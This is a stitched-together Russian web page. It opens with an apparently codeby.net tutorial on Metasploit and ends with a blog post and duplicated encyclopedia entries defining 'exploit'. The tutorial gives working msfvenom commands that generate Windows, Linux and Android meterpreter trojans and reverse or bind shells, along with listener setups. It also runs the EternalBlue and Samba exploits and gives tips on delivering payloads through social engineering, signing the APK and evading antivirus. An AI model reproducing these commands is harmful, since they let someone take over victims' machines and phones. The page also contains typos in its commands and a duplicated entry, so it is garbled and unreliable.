После прочтения этих предложений ты, возможно понял, о чём будет идти речь в этой статье. Исходя из этого предоставляю список, через который каждый из эксплоитов пройдёт. Обзовем это этапами анализа. Встречайте!

  1. История происхождения и его разработка
  2. Где вы могли его видеть и где он был замешан?
  3. Подверженные атаке системы
  4. Краткий гайд по использованию
  5. Что препятствовало получению доступа?
  6. Отчёт с VirusTotal
  7. Как же такому противостоять?
  8. Недостатки
  9. Выводы
По традиции, в мои обязанности входит вставить сюда авторский дисклеймер, который по общепринятым суждениям должен избавить автора от ответственности, но мы прекрасно пониманием, что даже если представленная информация будет использована с зловредными целями и кто-то пострадает, то вина исключительно на ваших плечах, а точнее на ключице злоумышленника. Ну и на моих, конечно.

Никакой дисклеймер и тому подобная чушь не избавит меня от мук совести, ведь какие-то моральные качества сохранить удалось. Статья написана мной из хороших побуждений. Это не инструкция, как хакнуть ПК друзей, не-е-е-т! Это сделано, чтобы от подобных действий каждый из читающих мог противостоять и защитить себя, свои персональные данные от действий неблагонадёжного контингента.

Первым подопытным станет широкоизвестный эксплоит под названием MultiHandler, который будет представлен с различными Payloadами. Достаточно хороший способ получить сессию на удалённом ПК, но всё же не идеально. Дальше поймёте почему.

Оборудование представленное в тексте:

  1. Ноутбук с операционной системой Windows 7
  2. Виртуальная машина с OS Windows server
  3. вторая виртуальная машина с OS Win XP SP2
  4. стационарный ПК с установленным Kali Linux
  5. Мобильный телефон с эмулятором терминала
  6. Виртуальная машина с OS Linux mint 13

MultiHandler или неплохие Meterpreter трояны


1) О создании этого чудесного эксплоита, как на просторах русскоязычного гугла, так и на англоговорящих нет ни слова, но вряд-ли подобного рода listener создавался долгое время, скорее всего он является плодом обоюдной любви Rapid7 и его соратников, во время пересборки метасплоита. Впрочем, не суть.

2) В каких атаках был замешан этот совершенейший листенер? Как по мне, это не стоит того, чтобы углубляться в это, ведь каждая пятая удалённая сессия, успешно полученная злоумышленником, эксплуатируется с помощью этого чуда.

3) Практически все, от самых старых до Windows 10 последнего обновления без FireWalla, специально для написания этой статьи были проведены соответствующее исследования и тесты в этой области .

4) Подойдя вплотную к мануалу по использованию этого утопия, мы стыкаемся со следующим: на нем огромное количество полезных нагрузок, которые могут генерироваться и автономно доставляться на атакуемую тачку. Я продемонстрирую только три основных. К сожалению в этот список не войдёт http-payload на порт 443, только из-за острой нехватки времени.

  • MultiHandler, msfvenom и bind_TSP или получения meterpreter сессии, когда вам уже известен IP жертвы
Для начала нам нужно создать полезную нагрузку ,которая будет доставлена самой жертве, это делается посредством социальной инженерии и подобных приёмов. LHOST - IP-адрес вашего ПК.
  • LPORT - Порт, через который будет работать "слушатель"
  • -p - Payload или полезная нагрузка
  • -f - cоставная задающая тип файла,забегу наперед ,но возможно указать даже APK

Код:

msfvenom -p windows/meterpreter/bind_tcp -f exe > /root/TCP_bind.exe

Предельно просто, задаём пейлоад, тип файла и место сохранения,после того как мы перейдём в каталог root, мы увидим наш готовый файл. А продемонстрирую это всё дело с мобильного устройства с эмулятором. Для чего? Не знаю и сам, может ради того, чтобы продемонстрировать, что я могу получить доступ к ПК с телефона.

Запустим метасплоит и выполним следующее команды:

Код:

msfconsole use exploit/multi/handler

Установим интересующий нам пейлоад, естественно тот, который соответствует нашему .exe:

Код:

set payload windows/meterpreter/bind_tcp set lport 4444 set rhost 192.168.43.211 run
Установив порт и айпи жертвы, без зазрения совести запускаем слушатель, после чего открываем файл на атакуемом ПК и видим, что открылась сессия метерпретер. Всё работает по следующему принципу: пейлоад.exe в данной ситуации выступает в роли клиента к которому мы проводим подключения с помощью нашего слушателя. Предельно простая схема.

5) Какие же антивирусы препятствовали нам? Да практически все! Для начала все с них палили наш пейлоад, как троян, а для концовки - они не давали нам подключиться к жертве через листенер. Если не забуду, то скину ссылку или скрин с VT.

6) Защиту можно построить на базовых двух вещах: антивирусе и браундмаэре и на собственной голове. Но дальше я расскажу, как можно замаскировать это дело от антивирусов, тогда этот неподъёмный груз ложится только на вашу голову.

7) Выводы? Какие могут быть выводы если мы только на первом из трёх пейлоадов для слушателя? MultiHandler и Reverse_TCP. Выше я расписал о этом эксплоите, давайте к мануалу сразу! Как и в прошлый раз создаём пейлоад.ехе, но с некоторыми поправками.

Код:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.1 lport=5555 -f exe > / root/reverse_tcp.exe

Затем это всё добро доставляем жертве, после чего осталось только настроить слушатель. Это делается так же, но с небольшими правками.

Код:

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost IP 192.168.43.1 set lport 5555 exploit

После того, как жертва запустит наш пейлоад, мы словим сессию метерпретер. Суть заключается в том, что не мы подключаемся к нему, а он к нам, от сюда и название "Обратный".

Ну и скрытый шелл с помощью Netcat. Создаём исправленный пейлоад.exe:

Код:

msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.43.1 lport=1010 -f exe > /root/hidden.exe

После доставке жертве, злоумышленник обычно занят настройкой слушателя, как и мы всегда, но здесь мы и без него обойдёмся. Выручит нас netcat. Пишем:

После ловим сессию.

Выводы о MultiHandler: вещь неплохая, но не очень практичная, поскольку палится всем, чем только можно, при этом поддаётся криптованию, о чём расскажу ниже. Обычный антивирус и голова на плечах - в силах противостоять этому.

EnternalBlue или появления Petya и WannaCry


1) Об истории этого легендарного эксплоита можно говорить сутками напролёт, но всё-же ограничимся краткой историей. Википедия гласит: EternalBlue (CVE-2017-0144) — кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB, к разработке которого, как считается, причастно Агентство национальной безопасности (США). Секретные сведения об уязвимости и исполняемый код эксплойта были опубликованы хакерской группой The Shadow Brokers 14 апреля 2017 года. Уязвимость была использована при распространении вредоносного ПО WannaCry в мае 2017 года, а также при распространении Petya в июне 2017 года.

2) Был замешан в множестве атак, но самыми известными считают распространение WannaCry и Petya.

3) Windows 7, Windows server/R2 без патча CVE-2017 и при отсутствии антивируса, который будет срывать сессию.

4) Мануал, о да. О этом куча информации, поэтому не буду даже объяснять команды!

Код:

use exploit/windows/smb/ms17_010 set payload windows/meterpreter/reverse_tcp set lhost 192.168.43.1 set rhost 192.168.43.211

В итоге получил ошибку, видимо у меня уже установлен на это патч или закрыт смб порт.

5) Антивирусы, определённо, срывают коннект.

6) Регулярные обновления и наличия закрытых портов с антивирусом - вас защитит.

Samba Exploit и Reverse для Linux


Решил слить два метода в один, ведь они касаются одной операционной системы и как использовать листенер - показано выше.

1) Оба эксплоита не имеют особой истории, оба достаточно древние, но в случае с пейлоад.ехе - непобедимый вариант.

2) Ко мне особые слухи об этих чудищах не успели дойти, но, думаю, в паре атак их использовали.

3) Получения удалённого доступа к тачке под линукс - их прямая и непосредственная задача.

4) Начнём с пейлоад.ехе, не буду показывать часть с настройкой слушателя, а просто создадим наш файлик.

Код:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.43.1 lport=4444 -f elf > /root/shell
Дальше идёт настройка слушателя и ловля с подсакой сессии, ну а мы переходим к самбе! Да, давайте забьём на всё и потанцуем самбу! Итак, протанцевав пол дня, я наконец осознал, что я должен написать о этом ужасном эксплоите со столь умилительным названием. Без лишних разъяснений приступаем.

Код:

use exploit/linux/samba/lsa_transnames_heap set payload linux/x86/shell_bind_tcp set rhost 175.167.45.234 set rport 445 exploit
После ловим сессию.

5) Исходя из того, что это... Линукс, пейлоад.ехе вирус тотал одобрил полностью, не обнаружив ни-че-го. Но подвержены эксплуатации более раннее версии, где не устранена уязвимость с самбой.

6) Единственной защитой, кроме головы, является установка более новых версий линукс.

Троян на андроид, любой версии или msfvenom-trojan в деле


Я понимаю, что подобного рода статья относится к тому, что было в начале статьи, но здесь есть свои подводные камни, которые мне удалось найти.

1) Насчёт создания и всего прочего - не известно, точнее в рунете нет ничего толкового.

2) Не фигурировал в каких-то крупных атаках.

3) Создаём всё такой же пейлоад, но с расширениям apk, ведь атакуемая тачка - андроид!

Код:

msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.43.211 lport=8888 > /root/file.apk
.

По традиции доставляем его на телефон жертвы и настраиваем слушатель:

Код:

use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.43.211 set lport 8888 exploit
После устанавливаем APK-шку на андроид, но видим следующее: "Ошибка установки". Погуглив, я нашёл решения этого метода. Установка не происходит потому, что АПК приложения не имеет подписи, но и это дело нам под силу! Естественно, возможно подписать своё приложения с помощью популярных сред разработки приложений, но мне этот вариант был не по душе и мне удалось нарыть приложения Zipsinger, которое в пару кликов его подпишет. После установки к нам летит сессия метерпретер.

4) Самое забавное в этом всём, что подобное проникновение невозможно обнаружить антивирусом. Он абсолютно не имеет шансов против него. Суждение большей части людей: "Вирусы на андроид? Чё? Еретик!", - и тебя мгновенно жгут на костре фанаты андроида. Лучшая защита - ваша голова и осведомлённый мозг.

Shellter! Криптор пейлоадов!

Да! Господа, поскольку большая часть антивирусов палит пейлоады, нужно закриптовать это всё дело, что затруднит обнаружение вирусных сигнатур. Давайте-ка закриптуем одно из наших чудес метасплоита? Нет... Это уж в продолжении этой статейки, которую смело можно номинировать на звание исследования. Только два антивируса из пятидесяти обнаружили криптованный файл-троян.

Для чего я низверг столько информации? Не нужно забывать, что лучшим антивирусом является светлая и осведомленная голова. Всё это написано для получения элементарных знаний, как работает это всё и как этому противостоять. В следующей части мы разберем как закриптовать и как обнаружить троян-пейлоад, как провести атаку через текстовые файлы или 7 чудес Metasploit ждут вас. До скорого, ребята.

codeby.net

Что такое эксплойт?

Приветствую,Всех уважаемых читателей блога WindowsFan.Ru!!!

Много лет назад в «Компьютерре» была опубликована интересная статья об уязвимости свеженькой версии Windows XP, не содержащей встроенной защиты от компьютерных вирусов.

В офис был приглашен специалист по взлому, который по сети пытался прощупать порты, найти уязвимость конкретной машины и «повесить» ее. Помнится, там получилось как-то неоднозначно: без защиты компьютер валился быстро, но с некоторыми штатными ограничениями никак не хотел подвергаться взлому.

 

Да и это и не столько важно, просто именно тогда прозвучало на всю страну слово «экплойт». В самом его переводе как «эксплуатировать» чувствовалось что-то грозное для системы – не чета каким-то там обычным компьютерным вирусам.

В самом деле, официальное описание эксплойта мало что дает. Это программа, исходный код, скрипт или описание технологии поиска уязвимости системы за счет неустановленных заплаток безопасности (в Windows). Если таковые имеются, то эксплойт, проникнув в систему, перерождается в одну из вредоносных программ, после чего забирает себе высший приоритет в системе, нарушает ее работу.

Чаще всего открывает дыры, через которые удаленный пользователь может непосредственно управлять вирусом как сервером. Что там еще может придумать хакер, сказать сложно: воровать пароли, файлы, данные, уничтожать данные, читать всю переписку, издеваться над пользователем, использовать его компьютер для атак на чужие компьютеры... Важной особенностью эксплойта стала его возможность распространения в виде исходных текстов, из-за чего антивирусные программы часто не принимают его за вирус.

А на компьютере жертвы легко скомпилировать текст под различные задачи встроенными средствами программирования, которых в Windows полно: java, js, vb, cmd, различные оболочки, php, pl и т.д. Атаке может подвергнуться как отдельная служба системы, так и конкретное приложение.

Для разных целей эксплойт в исходном виде может быть скомпилирован в червь, вирус, сервис, программу или что-то иное, что постоянно модифицируется и мешает себя обнаружить. Как уже говорилось, на помощь антивирусов тут рассчитывать трудно – они до сих пор застревают даже на простых проблемах вроде проверки флешек на наличие autorun.

При переборе уязвимостей сегодня невыгодно иметь несколько эксплойтов для конкретных целей: их принято объединять в большие архивы, которые автоматически перебираются инструментом взлома на соответствие конткретному взлому. К сожалению, такие эксплойт-паки сейчас распространяются бесплатно и доступны после несложного поиска. После обнаружения очередного эксплойта найденные дыры в безопасности закрывают новыми заплатками, поэтому важно иметь данные о них, дырах, раньше, чем до них доберутся специалисты по безопасности.

Эксплойты в таком режиме называются 0day и ценятся выше всего среди взломщиков, давая возможность захватить власть над сотнями тысяч компьютеров, пока уязвимость еще никому не известна и не закрыта.

На этом все всем пока и до новых познавательных встреч с вами уважаемые читатели...

windowsfan.ru

Эксплойт — Википедия. Что такое Эксплойт

Экспло́ит (англ. exploit, эксплуатировать) — компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).

Классификация

В зависимости от метода получения доступа к уязвимому программному обеспечению эксплоиты подразделяются на удалённые (англ. remote) и локальные (англ. local).

  • Удалённый эксплоит работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к уязвимой системе;
  • Локальный эксплоит запускается непосредственно в уязвимой системе, требуя предварительного доступа к ней. Обычно используется для получения взломщиком прав суперпользователя.

Атака эксплоита может быть нацелена на различные компоненты вычислительной системы — серверные приложения, клиентские приложения или модули операционной системы. Для использования серверной уязвимости эксплоиту достаточно сформировать и послать серверу запрос, содержащий вредоносный код. Использовать уязвимость клиента немного сложнее — требуется убедить пользователя в необходимости подключения к поддельному серверу (перехода по ссылке в случае если уязвимый клиент является браузером).

Виды эксплойтов

Эксплойты фактически предназначены для выполнения сторонних действий на уязвимой системе и могут быть разделены между собой следующим образом:

  1. Эксплоиты для операционных систем
  2. Эксплоиты для прикладного ПО (музыкальные проигрыватели, офисные пакеты и т. д.)
  3. Эксплоиты для браузеров (Internet Explorer, Mozilla Firefox, Opera и другие)
  4. Эксплоиты для интернет-продуктов (IPB, WordPress, VBulletin, phpBB)
  5. Эксплоиты для интернет-сайтов (facebook.com, hi5.com, livejournal.com)
  6. Другие эксплоиты

Как выглядит эксплоит?

Эксплоит может распространяться в виде исходных текстов, исполняемых модулей или словесного описания использования уязвимости. Он может быть написан на любом языке программирования (наиболее часто использующиеся: C/C++, Perl, Python, PHP, HTML+JavaScript)[1].

Эксплоиты могут быть классифицированы также по типу используемой ими уязвимости, такой как: переполнение буфера, внедрение SQL-кода, межсайтовый скриптинг, подделка межсайтовых запросов и т. д.

Актуальность

Информация, полученная в результате обнаружения уязвимости, может быть использована как для написания эксплоита, так и для устранения уязвимости. Поэтому в ней одинаково заинтересованы обе стороны — и взломщик, и производитель взламываемого программного обеспечения. Характер распространения этой информации определяет время, которое требуется разработчику до выпуска заплатки.

После закрытия уязвимости производителем шанс успешного применения эксплоита начинает стремительно уменьшаться. Поэтому особой популярностью среди хакеров пользуются так называемые 0day эксплоиты, использующие недавно появившиеся уязвимости, которые еще не стали общеизвестны[2].

Связки (набор эксплоитов, exploit kit)

Связки эксплоитов представляют из себя пакет эксплоитов сразу под несколько программ (версий) и/или под разные уязвимости в них. В последних версиях связок производится выбор эксплоита именно под конкретную программу пользователя.

В большинстве случаев эксплоит-киты применяются для атак, использующих уязвимости браузеров или их дополнений (частыми целями, к примеру, являются Java, Flash и PDF[3]).

Также существуют наборы локальных эксплоитов для поднятия привилегий в атакованной системе. Фактически подобные наборы тоже являются связками, но в хакерской среде таковыми не считаются и не называются.

См. также

Примечания

Ссылки

wiki.bio

Эксплоит - это... Что такое Эксплоит?

Эксплойт (фр. exploit — эксплуатировать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода, который, используя возможности, предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.

Классификации методов уязвимостей

Существует несколько методов классификации уязвимостей. Наиболее общий — это то, каким образом эксплойт контактирует с уязвимым программным обеспечением.


→«Удалённый эксплойт» работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к уязвимой системе.


→ «Локальный эксплойт» требует предварительный доступ к уязвимой системе и обычно повышает привилегии для лица, запускающего эксплойт над уровнем, который был предоставлен системным администратором. Эксплойт «подставного сервера» подвергает риску машину конечного пользователя в том случае, когда к нему был совершён доступ с помощью уязвимого клиентского приложения.


→Соц.инженерия: Эксплойт против клиентского приложения может также требовать некоторого взаимодействия с пользователем уязвимого приложения и может быть использован в связке с методами социального инжиниринга, то есть несанкционированного доступа к информации без использования технических средств.


Эксплойты могут также быть классифицированы по типу уязвимости, которую они атакуют. См. переполнение буфера, межсайтовый скриптинг, подделка межсайтовых запросов, SQL-инъекция, Атака возврата в библиотеку.

Другая классификация по действию, предпринятому против уязвимой системы: несанкционированный доступ к данным (копирование, удаление или модификация), выполнение кода, отказ в обслуживании.

Эксплойты могут быть разработаны для непосредственного обеспечения суперпользовательского уровня доступа к компьютерной системе. Однако, возможно использовать несколько эксплойтов — первый для получения удаленного доступа с невысоким уровнем, и повторно, для локального повышения привилегий до тех пор, пока не будет получен уровень доступа «0-дневными эксплойтами» (англ. zero-day, 0-day exploits) и получение доступа к таким эксплойтам — первейшее желание неквалифицированных вредоносных хакеров, так называемых скрипт-кидди.

См. также

Wikimedia Foundation. 2010.

dic.academic.ru

Эксплоит - это... Что такое Эксплоит?

Эксплойт (фр. exploit — эксплуатировать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода, который, используя возможности, предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.

Классификации методов уязвимостей

Существует несколько методов классификации уязвимостей. Наиболее общий — это то, каким образом эксплойт контактирует с уязвимым программным обеспечением.


→«Удалённый эксплойт» работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к уязвимой системе.


→ «Локальный эксплойт» требует предварительный доступ к уязвимой системе и обычно повышает привилегии для лица, запускающего эксплойт над уровнем, который был предоставлен системным администратором. Эксплойт «подставного сервера» подвергает риску машину конечного пользователя в том случае, когда к нему был совершён доступ с помощью уязвимого клиентского приложения.


→Соц.инженерия: Эксплойт против клиентского приложения может также требовать некоторого взаимодействия с пользователем уязвимого приложения и может быть использован в связке с методами социального инжиниринга, то есть несанкционированного доступа к информации без использования технических средств.


Эксплойты могут также быть классифицированы по типу уязвимости, которую они атакуют. См. переполнение буфера, межсайтовый скриптинг, подделка межсайтовых запросов, SQL-инъекция, Атака возврата в библиотеку.

Другая классификация по действию, предпринятому против уязвимой системы: несанкционированный доступ к данным (копирование, удаление или модификация), выполнение кода, отказ в обслуживании.

Эксплойты могут быть разработаны для непосредственного обеспечения суперпользовательского уровня доступа к компьютерной системе. Однако, возможно использовать несколько эксплойтов — первый для получения удаленного доступа с невысоким уровнем, и повторно, для локального повышения привилегий до тех пор, пока не будет получен уровень доступа «0-дневными эксплойтами» (англ. zero-day, 0-day exploits) и получение доступа к таким эксплойтам — первейшее желание неквалифицированных вредоносных хакеров, так называемых скрипт-кидди.

См. также

Wikimedia Foundation. 2010.

dis.academic.ru


Смотрите также